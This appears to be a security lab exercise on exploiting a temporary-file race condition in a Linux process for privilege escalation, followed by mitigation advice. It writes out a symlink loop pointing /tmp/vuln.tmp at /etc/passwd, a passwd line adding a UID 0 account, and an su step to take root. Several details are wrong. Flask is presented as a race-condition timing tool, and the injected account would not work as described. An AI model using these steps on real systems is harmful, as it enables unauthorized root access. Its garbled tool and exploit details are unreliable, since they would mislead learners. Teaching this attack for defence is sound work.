Exercise 12: Exploiting Race Conditions in System Processes

Objective: Understand how to identify and exploit race conditions in system processes to escalate privileges and learn how to mitigate such vulnerabilities.

Scenario: Race conditions occur when a system process accesses or modifies a shared resource in a way that creates a vulnerability due to improper synchronization. For example, a process may create a temporary file insecurely, allowing an attacker to manipulate it before the process completes. Your task is to identify a race condition vulnerability, exploit it, and implement strategies to prevent such issues.

Lab Setup

1. Environment:
   • A Linux system with a vulnerable process or service that writes to a temporary file.
2. Tools Required:
   • flask or other timing tools.
   • Custom scripts for triggering race conditions.

Lab Steps

Step 1: Identify a Race Condition Vulnerability

Look for processes that create or modify temporary files in insecure ways (e.g., world-writable permissions):

ps aux | grep temp

Inspect scripts or processes for insecure file handling:

Example: A process writes to /tmp/vuln.tmp without checking its ownership or permissions.

Verify the file permissions:

ls -l /tmp/vuln.tmp

If the file is world-writable, it’s a potential target.

Step 2: Exploit the Race Condition

Create a Timing Script:

Write a script to continuously monitor and replace the temporary file:

while true; do
    ln -sf /etc/passwd /tmp/vuln.tmp
done

Trigger the Vulnerable Process:

Run the vulnerable process that writes to /tmp/vuln.tmp:

sudo ./vulnerable_process

Exploit the Vulnerability:

Monitor the process and observe if /etc/passwd is modified.

Example: If /etc/passwd is overwritten, append a new root user:

rootuser:x:0:0:root:/root:/bin/bash

Gain Root Access:

Switch to the new root user:

su rootuser

Step 3: Use Tools to Trigger Race Conditions

Using flask:

Install Flask for simulating multi-threaded or asynchronous attacks:

pip install flask

Write a script to exploit the timing window between file creation and execution.

Custom Scripts:

Create a script to repeatedly attempt to exploit the file:

while true; do
    echo "malicious data" > /tmp/vuln.tmp
done

Solution

Explanation:

• A race condition occurs when two or more processes access a shared resource (e.g., a file) simultaneously, leading to unexpected behavior. By exploiting the timing window, an attacker can manipulate the resource to achieve privilege escalation.

Prevention:

Use Secure Temporary Files:

Use secure functions like mktemp to create temporary files with unique names:

tmpfile=$(mktemp /tmp/secure.XXXXXX)

Implement Atomic Operations:

Use atomic file operations to prevent manipulation during file creation or modification.

Example: open() with the O_EXCL flag.

Restrict Permissions:

Ensure temporary files and directories have secure permissions:

chmod 600 /tmp/vuln.tmp

Avoid Shared Resources:

Design processes to avoid relying on shared files or resources.

Monitor and Audit:

Regularly monitor logs and processes for signs of race condition exploitation.

Testing and Verification

1. Test the vulnerable process after applying fixes to ensure the race condition can no longer be exploited.
2. Attempt timing attacks using scripts or tools to confirm the effectiveness of mitigations.
3. Document all findings and implemented solutions for reporting.

Reflection

This exercise demonstrates how race conditions can arise in system processes and the potential for exploitation. By identifying and exploiting these vulnerabilities, you’ve gained hands-on experience in understanding race conditions and securing systems against such threats.